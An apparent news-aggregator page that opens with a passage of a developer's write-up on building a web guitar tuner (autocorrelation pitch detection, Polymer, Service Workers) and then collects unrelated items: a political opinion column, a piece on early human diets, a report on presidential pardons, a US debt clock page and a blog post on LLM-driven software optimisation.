I did have a bit and "umm" and an "ahh" over whether or not something like an <audio-processor> should be an element or not. On the one hand it doesn't really offer any semantic value to have it there in the DOM, on the other it can dispatch events, which is really handy. Clearly you can see which way I came down on this one since there is an <audio-processor> element, but I wouldn't blame anyone for calling it the other way.

ES6 Classes + Polymer #

Apparently when it comes to Web Components the theory goes that you'll ultimately be able to do something like this with ES6 Classes:

class MyRadElement extends HTMLElement {
// Wow this class would be amazing... wait, no.
// It would be amaze. I'm so down with the kids.
}

But so far as I can tell that particular syntax is still TBC. I'm also using Polymer, so I was like, mayyyybe instead of giving Polymer an object I could give it a class's prototype:

class MyRadElement {
constructor () {
Polymer(MyRadElement.prototype);
}

get is () {
return 'my-rad-element';
}
}

You can't pass the class itself (or an instance) to Polymer, because without sugar the class is a function and the Web Components registerElement function that Polymer calls expects an object as its second parameter, not a function. It also expect a tag name as its first, so I used a getter for is because it appears as a property on the prototype. I guess I could have done this.constructor.prototype.is = 'my-rad-element' , but getters look neater to me.

Another side-effect of this approach is that you don't get to use an instance of the class anywhere, so anything you would have done in constructor now needs to be done in the created and attached callbacks, which is a bit limiting but also no big deal. I guess that's just the nature of using a class / function instead of an object.

All of this isn’t strictly necessary, or even remotely so; there’s nothing wrong with giving Polymer an object.

All of this isn't strictly necessary, or even remotely so; there's nothing wrong with giving Polymer an object. But I like ES6 Classes (controversial, I know) and if I'm in ES6 world, or want to be, why not just try and get it all working nicely? Yes? Winner.

Audio Analysis the wrong way #

With elements in place, let's talk about analysing audio, because I thought this bit was going to be relatively easy to do. I was wrong. Very wrong. Essentially I'm a clown and still haven't learned to estimate work well. But let me see if I can't make it easier for the next troubled soul who attempts to do something similar.

To begin with let me tell you about failing. Not real failing, though, the Edison style of failing:

"I have not failed. I've just found 10,000 ways that won't work."

Attempt number one, then: Fast Fourier Transforms , or FFTs. If you're not familiar with them, what they do is give you a breakdown of the current audio in frequency buckets. The Web Audio API can let you get access to that data in - say - a requestAnimationFrame with an AnalyserNode , on which you call getFloatFrequencyData .

An FFT of some audio. I assumed I would be looking for peaks, and peaks would tell me what note I was playing.

I thought that if I took an FFT of the audio, I would be able to step through that, look for the most active frequency. Then it's a case of figuring out which string it's likely to be based on the frequency, and then providing "tune up", "tune down", or "in tune" messages accordingly.

Then performance happened. And harmonics. Mainly harmonics.

Performance #

In the end this approach yielded something with a frame rate that fluctuated wildly between 30 and 60fps, and something which can only be described by its friends as a "CPU melter".

In order to get enough resolution on frequencies, you need a colossal FFT for this approach. With an FFT of 32K (the largest you can get), each bucket in the array represents a frequency range just shy of 3Hz.

Filling up an array of that size takes somewhere in the region of 11ms on a Nexus 5 on a good day with a following wind. If you're trying to do that in a requestAnimationFrame callback, you're going to have a bad time. Doubly bad is the fact that you're also going to have to process the audio data after getting it . For 60fps you have about 8-10ms of JavaScript time at the absolute maximum. The browser has housekeeping to do, so you have to share CPU time. In the end this approach yielded something with a frame rate that fluctuated wildly between 30 and 60fps, and something which can only be described by its friends as a "CPU melter".

Harmonics #

And then the harmonics. A B3 note has a frequency of 493.883Hz, so one may reasonably expect an FFT like the one above, but with a peak at ~493Hz.

In fact, this is what the frequencies looks like when you hit a B3 string:

An FFT when a B3 string is plucked. Harmonics give you peaks in unexpected places, just to mess with you.

See how there are peaks all over the place? Each string brings its own special combination of frequencies with it, called harmonics. One thing is for sure: it's not a "pure" sample where you can infer that you're hitting a given string just from the most active frequency.

I'm a little hard of understanding sometimes, so I attempted to work around this with some good ol' fashioned number fishing and fudging. It kind of worked under very specific circumstances, but it really wasn't robust.

Audio Analysis the better way #

Then Chris Wilson helped me. For context, I'd got to the end of my hack-fudge approach and started googling for things like "please i am a clown how do you do simple pitch detection?" As you might expect, the top results were Wikipedia articles that may as well be written in Ancient Egyptian hieroglyphics for all the sense they make. They're seemingly written by people who already understand these topics, and whose sole aim seems to be to ensure that you won't. I got the same deal when I made a 3D engine a few years back and, as with that period in my life, all of me screamed out for simple, treat-me-like-a-human explanations. Thankfully that's exactly what Chris provided over the course of several hours.

Autocorrelation #

Attempt number two: autocorrelation . To be fair, autocorrelation had come up in my hieroglyphics studies, but it made zero sense. But Chris suggested it, and I gave it a whirl.

In retrospect I guess the name is a clue: auto- (self-) and correlation (matching). The idea is if you have an audio wave you can compare it to itself at various offsets. If you find a match then you have found where this wave repeats itself, even factoring in harmonics (more on that in a moment). Once you know when a wave repeats itself you have theoretically found its frequency.

Autocorrelation is where you attempt to match a wave to itself. The amount you have to move it gives you its periodicity, and therefore the pitch.

You can get the wave data from the Web Audio API (of course you can, what a lovely API) with getFloatTimeDomainData , which has nearly zero documentation and also sounds like a function named after buzz words' greatest hits. But it does precisely what we need it to: it populates an array with floating point wave data with values ranging between -1 and 1 .

The fftSize property on the AnalyserNode is used to determine how much data you get. If you were to set fftSize to 48,000 (which you can't because the max limit is 32K and needs to be a power of 2, but stick with me), and you had a sample rate of 48kHz, you would get one second's worth of wave audio data. As it happens I set my fftSize to 4,096, which gives me 4,096 / 48,000 ~= 85ms of wave data. Because I planned to compare the wave against itself, I had half of that , around 42ms of audio data, available to me for each pass.

My first attempt at autocorrelation compared the wave across all offsets (half the buffer, or 2,048 elements) and then returned the offset which had provided the nearest match:

let buffer = new Float32Array(4096)
let halfBufferLength = Math.floor(buffer.length \* 0.5);
let difference = 0;
let smallestDifference = Math.POSITIVE_INFINITY;
let smallestDifferenceOffset = 0;

// Fill up the wave data.
analyserNode.getFloatTimeDomainData(buffer);

// Start an offset of 1. No point in comparing the wave
// to itself at offset 0.
for (let o = 1; o < halfBufferLength; o++) {

difference = 0;

for (let i = 0; i < halfBufferLength; i++) {
// For this iteration, work out what the
// difference is between the wave and the
// offset version.
difference += Math.abs(buffer[i] - buffer[i + o]);
}

// Average it out.
difference /= halfBufferLength;

// If this is the smallest difference so far hold it.
if (difference < smallestDifference) {
smallestDifference = difference;
smallestDifferenceOffset = o;
}
}

// Now we know which offset yielded the smallest
// difference we can convert it to a frequency.
return audioContext.sampleRate / smallestDifferenceOffset;

Ideally speaking one would do some curve fitting here to figure out exactly where the wave repeats itself, but I found I was getting good enough results without that. The main problem I had with this approach was getting it to run quickly enough. With an array of 4,096, I was going to end up doing potentially 2,048 * 2,047 = 4,192,256 calculations, which wasn't quick enough to be done inside 8-10ms on mobile.

What I needed to do was to limit the scope a little.

Strings and their frequencies. #

What I ended up doing was to do an initial pass where I just used 6 offsets, one for each string. Since I knew what frequency each string should be, I decided to offset the wave by that much and choose whichever string's offset yielded the lowest difference. The nearest match can then be considered the "target" string, kind of an "Oh, it looks like you're tuning the D3 string!" approach.

String Frequency Offset (48Khz)
E2 82.4069 582
A2 110.000 436
D3 146.832 327
G3 195.998 245
B3 246.942 194
E4 329.628 146

In a bid to try and make things more reliable I repeated the process across a time period of about 250ms and summed the differences per string.

The wave of an E4 string being plucked. By offsetting by the expected frequencies we can find the closest match.

In the above image you can see the E4 string being plucked, and the various offset versions. You can also see that, when moved by E4's expected offset, the wave matches itself most closely than for any other offset, which is exactly what we want.

Now I had the candidate for the closest match, I used the code from above to figure out exactly how far away from the target frequency the plucked string was. Instead of using offsets from 0 to 2,048, however, I did it from (an admittedly random value of) ±10 either side of the expected offset for that string. The net result was far fewer overall comparisons, although at the cost of only supporting standard tuning. I figure there may be a version of this I'm missing which would allow me to support any tuning, but alas it eludes me. I am eluded.

So that's the audio processing explained. Whew.

45° Shadows #

Moving onto the visuals a moment. I was reminded how easy it is to make designs that can't be built easily. So it was with my 45° shadows hanging off the dial. Well done me.

The dynamic 45° shadow, bane of a whole evening.

I was reminded how easy it is to make designs that can't be built easily.

I kept trying to figure out how the shadow should be "cast". I shall spare you the boring eleventy billion variants that didn't work out.

Eventually I realised that I kept turning my head about 45° to the left, and that was the clue I needed. What I was looking for were the left- and right-most points of the dial when looking at it at 45° . Or, put another way, rotate the points of the dial clockwise by 45° then order them by x. Then choose the 0 th and last values, since they are the where the dial's extremities are.

To do that I created a number of marker points on the dial to capture the edges, and then rotated them in a sort function:

If the points are rotated by 45° then you can choose the left- and right-most points as the shadow edges.
points.sort(function(a, b) {

// Take the point, rotate it by
// 45 degrees to the right,
// and _then_ sort it by its x value.

let adjustedAX = a.x _ pointCos - a.y _ pointSin;
let adjustedBX = b.x _ pointCos - b.y _ pointSin;

return adjustedAX - adjustedBX;
});

From there it's a case of drawing out the points as part of the shadow and, when you hit the right-most point start the drop down for the shadow, go along the bottom and come back up to the left-most point. Ta-daaaa!

Versioning and Service Workers #

Finally, I just wanted to share one little tip about working with Service Workers that I've found helpful. I came across a gulp plugin called bump . It's useful for taking the version in your package.json file and incrementing the number. (You tell it if it's a patch, major or minor revision.)

When I'm cutting a release I bump the version automatically using it. If I want to do major or minor versions I'll just tweak the package.json file myself, but for patching it'll do it for me during the build.

gulp.task('bump', function() {
return gulp.src('./package.json')
.pipe(bump({type:'patch'}))
.pipe(gulp.dest('./'));
});

Whenever I run the tasks that write out the Service Worker, or anywhere else where I might want to include the version number, I grab the version from package.json and do a string replace on the target file.

What this gives me is the assurance that I won't accidentally leave my users on an old version of the app due to an unchanged Service Worker. The Service Worker has the version string in it and, in my case, I also use that as part of its cache's name:

// In the Service Worker... As authored:
var CACHE_VERSION = '@VERSION@';

// Once the version has been pulled, and string
// replacements are done and dusted:
var CACHE_VERSION = '1.0.63';

Now when I push a new version the Service Worker will be fetched, found to be different, and the new version will be installed. For a more complex upgrade process you could do diffs and so on when you see a new version, but that would have been overkill for this particular app.

Tune on! #

Wow, that's one monster of a write-up! If you've made it this far thanks for sticking with me. I hope you've found something of interest! It's certainly been cathartic for me to share it all, anyway.

You can check out the source code , and the Guitar Tuner app is available at guitar-tuner.appspot.com !

We Are Witnessing the Decline of Corporate Democrats

Portside
portside.org
2026-08-21 23:05:42
We Are Witnessing the Decline of Corporate Democrats barry Fri, 08/21/2026 - 23:05 ...
Original Article

Most discussions about the Democratic party in this election cycle focus on the remarkable rise of progressive Democrats , such as the Florida state representative Angie Nixon, a democratic socialist who scored an upset win in the Democratic US Senate primary on Tuesday.

But an equally big story is the remarkable decline of corporate Democrats.

Some Democrats worry about this. My old friend James Carville compares the current wave of progressive primary wins to progressive campaigns in 2016 – especially that of Bernie Sanders – that he believes fractured the Democratic coalition.

“Bernie Sanders is the reason that Donald Trump is president,” the Democratic strategist said recently, claiming that Bernie’s primary challenge to Hillary Clinton convinced voters in battleground states that establishment Democrats were no different from establishment Republicans, thereby weakening her prospects in the general election.

Even if James is right about 2016 (and I don’t believe he is), his assessment is irrelevant now because we’re at a radically different point in US politics than we were 10 years ago.

The silver lining in the dark storm cloud of Trump and his detestable regime is that it has exposed the greed, venality, cupidity and corruption of the US’s corporate elite.

Trump has allowed the CEOs of giant corporations and the titans of Wall Street to do whatever they want as long as they suck up to him. And he’s providing all sorts of corporate welfare to those who generously woo him – no-bid government contracts, exclusive licenses, tax loopholes, tariff exemptions, use of public lands, and permission to become even bigger monopolies.

Trump has thereby unveiled a truth about corporate America that for many years has been hidden behind a soothing blanket of corporate PR bullshit about social responsibility, corporate charity and “trickle-down” economics.

That truth is the captains of corporate America are so rapacious that they’re willing to throw average working Americans under the bus to make billions more.

Corporate avarice under Trump has become so blatant and corporate America’s contempt for the needs of average Americans so flagrant that most Americans are now catching on.

They’re voting for progressive Democrats not because they want socialism, support the Democratic Socialists of America, or reject candidates called “moderate”.

They’re voting for candidates whom they believe will fight to make housing, food, healthcare and childcare affordable to average working families. And who’ll take on Trump’s billionaire backers, CEOs and Wall Street titans who are rigging the economy against them.

Much of the corporate media won’t tell this story. When Dr Abdul El-Sayed won Michigan’s Democratic primary over Haley Stevens, the media overflowed with accounts of how much smaller El-Sayed’s margin of victory was than polls had predicted.

Yet the most remarkable thing about El-Sayed’s victory was that he won despite being dramatically outspent by Super Pacs arrayed against him.

Stevens benefited from tens of millions of dollars in outside spending, including the largest investment in a senatorial race ever made by the American Israel Public Affairs Committee, which traditionally supports pro-Israel candidates but in recent election cycles has supported candidates most favored by corporate America. Aipac’s ads in favor of Stevens and against El-Sayed never even mentioned Israel.

Outside Super Pacs put an estimated $54m to $60m into backing Stevens and opposing El-Sayed, compared with only about $5m for El-Sayed. Pro-Stevens groups outspent El-Sayed on TV advertising alone by more than 12 to one ($26.9m to $2.1m) in the closing weeks. An average of $95 was spent for every vote against El-Sayed versus just $9 per vote for him.

The race between Stevens and El-Sayed was a proxy fight over the future of the Democratic party. The Senate minority leader, Chuck Schumer, backed Stevens and encouraged donors to back her campaign, as did other corporate-aligned politicians such as the Michigan senator Gary Peters. On the other hand, Bernie Sanders and Alexandria Ocasio-Cortez supported El-Sayed, as did progressives such as the US senators Chris Van Hollen and Elizabeth Warren.

El-Sayed justifiably made a campaign issue out of how much corporate money was backing his rival. He argued that Democrats should reject corporate influence and embrace an agenda that helps average Americans. His campaign centered on providing Medicare for All, lowering prescription drug costs, and banning corporate Pac money. “We’re in a situation right now where the rich keep getting hyper-rich on the backs of figuring out how to monetize everyday people,” El-Sayed told the Associated Press while supporters chanted: “Money out of politics! Money in your pockets!”

El-Sayed’s victory marked a turning point for the corporate wing of the Democratic party.

I saw the start of the corporate Democrats in the early 1980s, when Democrats in Congress began drinking from the same campaign funding trough as the Republicans, mostly from big corporations.

“Business has to deal with us whether they want to or not,” crowed the Democratic representative Tony Coelho, who then headed the Democratic congressional campaign committee. Democrats had controlled Congress since 1955 and assumed they’d continue to run the House for years. They thought they could take advantage of their seemingly permanent power to raise cash for their campaigns.

Coelho’s Democrats soon achieved a rough parity with Republicans in contributions from corporate and Wall Street campaign coffers, but it proved a Faustian bargain as big corporations and Wall Street gained increasing influence in the party. It is a truism in politics as in nature: one dares not bite the hands that feed.

Corporate Democrats thereafter stopped the Democratic party from pursuing an agenda that would have dramatically helped America’s working class.

To be sure, over the last three decades Democrats have scored some important victories for working families – the Affordable Care Act, an expanded Earned Income Tax Credit, and the Family and Medical Leave Act, for example.

Yet they’ve done little to alter the widening economic inequalities that have taken a huge toll on working-class families.

Both Bill Clinton and Barack Obama ardently pushed for free-trade agreements, for example, but didn’t provide the millions of blue-collar workers who thereby lost their jobs means of getting new ones that paid at least as well.

They also stood by as corporations hammered trade unions, the backbone of the white working class. Clinton and Obama failed to reform labor laws to impose meaningful penalties on companies that violated them, or to enable workers to form unions with a simple up-or-down vote.

In his 1992 campaign, Clinton promised such reform but once elected didn’t want to buck corporate Democrats by spending political capital on it. In his 2008 campaign, Obama made the same promise but never acted on it.

Partly as a result, union membership sank from 22% of all workers when Clinton was elected president to fewer than 10% today, and the working class lost bargaining leverage to get a share of the economy’s gains.

The Obama administration also protected Wall Street from the consequences of its gambling addiction through a giant taxpayer-funded bailout but left millions of underwater homeowners to drown.

Both Clinton and Obama allowed antitrust enforcement to ossify – with the result that large corporations have grown far larger and major industries far more concentrated.

And they turned their backs on campaign finance reform. In 2008, Obama was the first presidential nominee since Richard Nixon to reject public financing in his primary and general election campaigns. And he never followed up on his re-election campaign promise to pursue a constitutional amendment overturning Citizens United v FEC, the 2010 supreme court decision that opened the floodgates to big money in politics.

What happens when you combine free trade, shrinking unions, Wall Street bailouts, growing corporate monopoly power, and the abandonment of campaign finance reform? You get an economy favoring the wealthy and a political system favoring the powerful, while workers without college degrees suffer declining real wages and dwindling job security.

John F Kennedy was the last Democratic president to depend on lower-income, less educated white voters while losing the votes of higher-income, college-educated Americans. Sixty years later, Joe Biden depended on the votes of college-educated Americans while losing the votes of the white working class by two to one .

Trump has exposed the venality and cupidity of corporate America, while large swaths of the working middle class struggle to make ends meet. As a result, Republicans appear likely to face some major defeats in the midterm elections. Corporate Democrats are on the defensive because their campaign cash isn’t working the way it used to.

Now, finally, the Democratic party has an opportunity to once again become the party of working Americans, as it was under Franklin D Roosevelt, rather than the party of corporate America. It is more urgent than at any time since the Great Depression that Democrats act on this opportunity.

Robert Reich, a former US secretary of labor, is a professor of public policy emeritus at the University of California, Berkeley. He is a Guardian US columnist and his newsletter is at . His new book, Coming Up Short: A Memoir of My America, is out now in the US and in the UK

The Guardian is globally renowned for its coverage of politics, the environment, science, social justice, sport and culture. Scroll less and understand more about the subjects you care about with the Guardian's brilliant email newsletters , free to your inbox.

Early Humans Likely Ate Carbs and Sugary Foods

Hacker News
www.history.com
2026-08-21 22:37:30
Comments...
Original Article

Humans Evolved to Seek Sweets

A clear indication of the importance of sugar in human evolution is our ability to see colors. Evolutionary biologists believe that the primary function of color vision was to identify the ripest, sweetest and most nutrient-rich fruits.

“The fruits that are the deepest red and the deepest orange and the deepest yellow are the ones with the most sugars,” Brand-Miller says.

There’s even a theory that human intelligence leveled up through the search for ripe fruit. In a tropical forest, different fruits ripen at different times of the year. There is a distinct survival advantage for primates—including early humans—that could create a mental map of the forest and find those ripe fruit trees before the competition. In the foraging race, the smartest species gets the most sugar.

“You can see how this would be a stimulus for cognition, for a bigger brain and for a bigger memory,” Brand-Miller says.

Another clue that early humans and other ancient primates ate a lot of natural sugar in their diet is that most of them had cavities. Brand-Miller says there’s fossil evidence that primates living 30 million years ago got cavities from eating sugary foods. Human cavities really exploded after the invention of cooking, because that’s when people started eating starchy tubers and other carb-heavy foods that were previously indigestible.

When Fruit Became Scarce, Our Genes Adapted

Most of human evolution took place in Africa, where ripe fruit and honey were abundant and available year-round. But as humans migrated out of Africa and into colder, drier climates, sources of dietary sugar were harder to come by. In response, Brand-Miller believes human evolution continued to select for genes that improved our ability to access sugars and carbs.

A good example is milk consumption. No other animal species drinks milk as an adult, and not all humans carry the genes that allow them to digest lactose, the sugar found in dairy. But for ancient humans who lived in cold climates where fresh fruit was scarce, there was a distinct evolutionary advantage to being able to drink and digest milk.

There are even more recent genetic adaptations that greatly improved humanity’s ability to access dietary sugars and carbohydrates. Starting with the Agricultural Revolution 10,000 years ago, the human diet began to include far more carbohydrates in the form of grains and starches like rice, corn and potatoes.

There’s an enzyme called salivary amylase that kickstarts the digestion of starchy foods in the mouth, releasing their sweet taste. Brand-Miller says chimpanzees have just one copy of the gene that encodes for salivary amylase in their DNA, whereas humans have as many as 20 copies. Evolution has repeatedly selected for additional copies of the salivary amylase gene, because they allow us to efficiently break down complex carbohydrates into glucose, our favorite brain food.

“These genetic changes tell us how important carbohydrate calories were to human beings,” Brand-Miller says.

Trump Pardons Have Cost Crime Victims $1.7 Billion

Portside
portside.org
2026-08-21 22:32:07
Trump Pardons Have Cost Crime Victims $1.7 Billion barry Fri, 08/21/2026 - 22:32 ...
Original Article
Trump Pardons Have Cost Crime Victims $1.7 Billion Published

President Donald Trump pardoned Binance founder Changpeng Zhao, who previously pleaded guilty to money-laundering-related charges while leading the world’s largest cryptocurrency exchange

President Trump's "get out of jail free" cards for convicted crooks are actually costing crime victims a fortune.

A scathing new investigation by Democrats on the House Judiciary Committee will detail how the sweeping wave of Trump's pardons has robbed federal crime victims of $1.7 billion in potential restitution and fines. The committee was expected to release the report on Friday.

Because Trump wiped clean the slate of court-ordered restitution to victims, the convicted criminals are relieved of having to pay back stolen funds or to fix damage of their crimes. The 25-page investigation by the committee argued Trump's pardons have triggered a historic and "massive redistribution of wealth in favor of convicted criminals."

The committee investigation argues Trump has "demolished" a rigorous, and largely apolitical, pardon system. They said Trump also allowed pardons to flow to "high-bidding", deep-pocketed convicts, who lobbied through – or helped enrich – allies of the President and attorneys.

The investigation by the Judiciary Committee and its ranking member Rep. Jamie Raskin (D-MD) detailed dozens of pardons which zeroed out the unpaid fines and restitution of Trump allies and supporters, including the $3 million that was owed by January 6th US Capitol rioters.

The following charts, which the committee will release Friday, list the potential price tag of each pardon, for the victims of the respective crimes:

The report emphasized the cost of Trump's pardon of former Nikola CEO Trevor Milton, who was found guilty of defrauding investors. The report said "Mr. Milton had been sentenced to four years in prison, and a federal judge was scheduled to rule on prosecutors' recommendation that he be ordered to pay nearly $700 million in restitution to his victims."

The committee's report underscored Milton's support of – and relationship with – Trump, ahead of his clemency. The report said, "Mr. Milton and his wife donated over $1.8 million to committees supporting the President's reelection, including $920,000 to the Trump 47 Committee in October 2024 and $750,000 in September 2024 to the MAHA Alliance super PAC affiliated with Robert F. Kennedy, Jr."

The Congressional investigation found victims of admitted fraudster Jason Galanis were stiffed of more than $80 million in restitution. Galanis pleaded guilty in 2020 of defrauding shareholders and clients of an investment advisory firm, as part of a scheme to manipulate the market on behalf of Gerova Financial Group. The committee report said, "President Trump pardoned Mr. Galanis and wiped out any obligation to pay further fines or restitution. Days later, Mr. Galanis petitioned for the return of the $2 million he had already advanced to his victims. A federal court quickly denied this claim, outrageous even by the depraved standards of Trump pardonees."

The report also spotlighted the absolving of $37 million in restitution payments to victims of the former Ozy Media outlet and its former leader Carlos Watson. Watson was pardoned as he was being shuttled to serve a federal prison term for fraud, despite a report that an Ozy official "impersonated a YouTube executive on a phone call with Goldman Sachs to convince the bank to make a $40 million investment in Ozy Media."

The committee said, "The defrauded investors will never be repaid."

Trump's disruption of the traditional Presidential pardon system, includes the Administration's controversial decision to fire then-U.S. Pardon Attorney Liz Oyer in 2025.

In a May 2025 essay, Oyer noted the deliberate and notorious politicization of the Pardon Attorney's office by Team Trump, eradicating a tradition of nonpartisan reviews and requirements to secure pardons.

Oyer emphasized Trump's appointment of Trump ally Ed Martin to lead the office. She said Martin is an "ideological extremist who has none of the requisite qualifications. In fact, he is so extreme and unqualified that Senate Republicans tanked his nomination for the position of U.S. Attorney for the District of Columbia. Martin's appointment is stunning because the Pardon Attorney has always been a nonpolitical appointee who undergoes rigorous vetting to be qualified as a member of the career Senior Executive Service. Martin has not gone through that process."

A Justice Department spokesperson told Scott MacFarlane Reports , "Presidents of both parties have exercised their constitutional authority to grant pardons and commutations without consulting the Department of Justice. Under the Trump Administration, the Office of the Pardon Attorney continues to serve a key role in assisting the President. The Department is committed to timely and carefully reviewing all applications and to make recommendations to the President that are consistent, unbiased, and uphold the rule of law. There has been no departure from this long-standing process."

Here: https://substack.com/@lizoyer/p-163702582

The Judiciary Committee Democrats said the pardons of dozens of convicted fraudsters undermine the Trump Administration's new emphasis on "cracking down on fraud."

The report from the Democrats said, "In recent months, often to justify immigration crackdowns or cuts to health care and food assistance programs, House Republicans have, hilariously, made 'fighting fraud' one of their central talking points… This is true. But convicted fraudster Donald Trump and the MAGA pardon industrial complex are all about committing fraud, protecting fraudulent schemes, and pardoning convicted fraudsters."

The Judiciary Committee Democrats, who are seeking to take control of the panel after the midterm elections, would be empowered in 2027 to issue subpoenas, calling hearings and depose witnesses into Trump's pardons, if they win the majority in the midterm elections.

The panel's report argues pardon recipients have helped secure their clemency through "flattering" Trump or by making exorbitant payments to people with the President's ear.

As part of their argument, they highlighted the clemency of former Honduran president J uan Orlando Hernandez , who was convicted of conspiring to distribute hundreds of tons of drugs.

Hernandez allegedly befriended powerful people "in President Trump's orbit," according to the Judiciary Committee Democrats' review.

US Debt-to-GDP Ratio

Hacker News
www.us-debt-clock.com
2026-08-21 21:18:08
Comments...
Original Article

US Debt Clock: Live U.S. National Debt

Current federal debt, recent change, debt per person, and source methodology using official U.S. Treasury data.

View full-screen live clock

Updated March 19, 2026 · Official U.S. Treasury data

Your Share: $119,287

↑ increasing by $17.19/day

Algorithmically projected from latest Treasury data

(Treasury data is periodically updated)

Dec 29 $38.386T +$5.8B
Dec 26 $38.381T +$27.7B
Dec 24 $38.353T -$22.5B
Dec 23 $38.375T -$3.1B
Dec 22 $38.378T +$5.5B

The current U.S. national debt is $39.96 Trillion as of August 21, 2026 , according to the latest data from the U.S. Treasury Department. This US debt live counter equals approximately $119,287 per U.S. citizen. The debt increases by roughly $1 trillion every 750 days and grows at approximately $1.3 billion per day, making this national debt clock live view a real-time snapshot of America's borrowing. Source: U.S. Treasury Fiscal Data .

How this clock is calculated

The official total comes from the U.S. Treasury's Debt to the Penny dataset. Between Treasury records, the display projects the latest observed daily change and labels estimated values. Latest source date: 2026-03-19 .

Debt Per Citizen

$119,287

Every American's share

Debt Per Taxpayer

$285,436

Each taxpayer's share

Added Today (est.)

$5.0B

Today's estimated debt increase

Interest Per Day

$3.6B

Daily interest cost on the debt

Free daily briefing. No spam. Unsubscribe anytime.

New York City alone carries over $103 billion in debt — more than the total debt of most US states.

Free Daily Briefing

The debt grows ~$83K every second — are you keeping up?

Join thousands of readers who get the numbers that matter before markets open. No spam, unsubscribe anytime.

Press & Mentions

Shared by lawmakers, educators, and citizens tracking the national debt.

View mentions

There's no reason for software to be slow anymore

Hacker News
danluu.com
2026-08-21 21:06:17
Comments...
Original Article

The other day, I saw a viral tweet saying that people talking about how LLMs are causing slow, bloated, code are going to eat crow once they re-write everything in super-optimized assembly. We're not quite at the point where we want to write everything in assembly , but some variant of what Nolan Lawson said about testing, you can choose how many bugs you want now , which I less eloquently noted here , is becoming more true for performance.

In response to a comment in my last post that the cost of formerly specialized performance work has dropped by many orders of magnitude and performance work that used to require a person or team that had a rare set of skills can be done by anyone who can type a few sentences 1 , which means that you can do all sorts of optimizations that used to be too expensive to be worthwhile for all but the largest scale or most lucrative projects, Marc Brooker responded with

Completely agree with your closing point. Dynamic custom software, fitted to a particular workload rather than a class of workloads, seems like a very likely outcome. (Which comes with all kinds of fun risks and opportunities of its own). Kind of reminds me of FFTW . And a ton of weird old demoscene techniques which were all about being super fast and small on a very particular problem (and often very particular hardware). For example, I remember a demo that re-used its code as textures to get great cache locality.

And Michael Malis has noted

There’s been a meme circulating about how AI doesn’t help because “code was never the hard part.” I think that’s true in some domains, but in others, writing the code absolutely was the hard part. JIT compilers are a great example of that. For many pieces of software, a JIT compiler would help a lot with speeding up the code. The rarity of JIT compilers makes me believe that implementing a JIT compiler historically was too difficult for it to be worthwhile. LLMs have lowered the barrier to entry and made it much easier to write a JIT compiler. This is the thesis behind pgrust. Databases historically were the hardest piece of software to build and were limited because of that. Now, with AI, we can be more ambitious about the type of software we build.

Optimizing for a class of workload

Let's try this out with FRE , the regex engine we built in the last post. Recall that it was created by having an agent loop for a month on improving regex engine performance with access to the rebar regex benchmark suite . This resulted in FRE being heavily overfit to rebar until we warned our agent that we had a holdout benchmark, which caused the agent to generalize the optimizations enough that performance was ok-ish on our holdout. There's no particular reason to use a "software factory" regex engine that doesn't beat a well-tested regex engine on holdout benchmarks, but one notable thing about FRE was that the native AOT compiled version did quite well at longer searches. We noted that, it stands to reason that one could run the native code compiler in another thread while ripgrep was running its normal matcher and then cut over to the native code when it finished compiling and generally get better performance. Of course this will generally result in worse performance for short queries as we lose a thread to compilation, but I care a lot more about how long ripgrep takes when it runs for many seconds or minutes than when it runs for a few seconds, so I'm ok with that tradeoff.

In the same way we could build a regex engine in a few minutes of human time, we can also just try this experiment in a few minutes of human time. I typed a few sentences and an agent went and did the work to allow this to happen (which would be a decent chunk of code surgery for a human) and it ran the benchmark on actual ripgrep queries that come from my codex history. For longer queries, we see a 2x-4x performance improvement here for a few very simple queries. But most queries are more complex, and when we run on representative holdout queries, for queries where AOT should be enabled 2 , we get about a 7% speedup. Not an earth shattering result, but also not a bad outcome for spending a few minutes typing to codex (and it's still doing more optimization and will presumably speed things up further).

Build an index?

This is arguably a silly thing to do, since if we're repeatedly searching for text on a computer, the obvious thing to do to speed that up isn't to write a native code compiler for regex matching, it's to create an index. But the point here is just that this kind of technical work, which used to take a fair amount of time and expertise, can just be done trivially now. And if we wanted to build a text index, it just so happens that I worked on BitFunnel, the Bing search index that was specialized for constant/fast text ingestion that won Best Paper Award at SIGIR , so I can think of a few experiments to try if we're going to build a fast local index of our entire machine (the projects I've seen seem to be intended to index your code directories, but what really kills my machine performance is when codex decides to run ripgrep against huge temporary directories with a ton of generated files and then expands to looking at my whole machine when it misses, so I'd want an index of my entire disk and not just of the code for some projects).

If I were working at an AI lab and had access to things like SOTA models running on Cerebras chips or other accelerators that greatly increase tok/s and therefore load/demand for search, I might actually survey the existing indexers to see if they're fast enough or if I'd want to build something custom myself. While the open source version of BitFunnel "only" contains a bytecode interpreter and one JIT, the Bing version contains multiple JIT compilers. A project that did that level of optimization used to be a major undertaking, but " I could do that in a weekend " is now actually true for some of these kinds of projects. With my lowly $200/mo account, I think a somewhat faster ripgrep plus any off-the-shelf index is fine, so maybe this fast-ingesting whole-machine index project can be left as an "exercise for the reader (who works at an AI lab)".

Optimizations are cheap

The drastic reduction in the cost of optimizations has been true going back to November 2025 and maybe even somewhat before then with public models (and I'm sure before that still with what folks at AI labs had access to). For an example from the GPT-5.1 or 5.2 days, with no knowledge of game AIs, I tried building an Azul AI. This ended up being the strongest AI in the world for the game by a pretty large margin. From reading the thesis that describes the 2nd strongest AI, I think my AI is probably a bit better on the "AI" side of things, but the main place it wins is on optimization. For example, that other AI is single-threaded and my AI is multi-threaded. Since I have a native code version as well as a heinous wasm shared memory + javascript version , and two different search architectures for two different versions, which "require" completely different multi-threading algorithms (minimax for a very small and fast net and MCTS for a larger net), this would've been a fairly large undertaking if done by hand. And, because I let an LLM pick the multi-threading algorithm based on its own (incorrect) reasoning a couple times before spending 30 minutes reading about multi-threading algorithms for game AIs myself, I ended up re-writing (having codex re-write) the multi-threading algorithm multiple times.

There's a bunch of standard stuff it makes sense to do to debug and verify a multithreading algorithm for something like this, like implementing replay from debug logs that can reproduce bugs despite the algorithm being nondetermistic. Doing that alone would've probably been days to a week of work had I done it by hand, but it's exactly the kind of thing an agent can trivially do in a loop (just have it try to replay logs and insert logging for non-determinism every time you don't get a perfect replay). A lot of the tedium it used to take to get a tricky optimization like this working is gone.

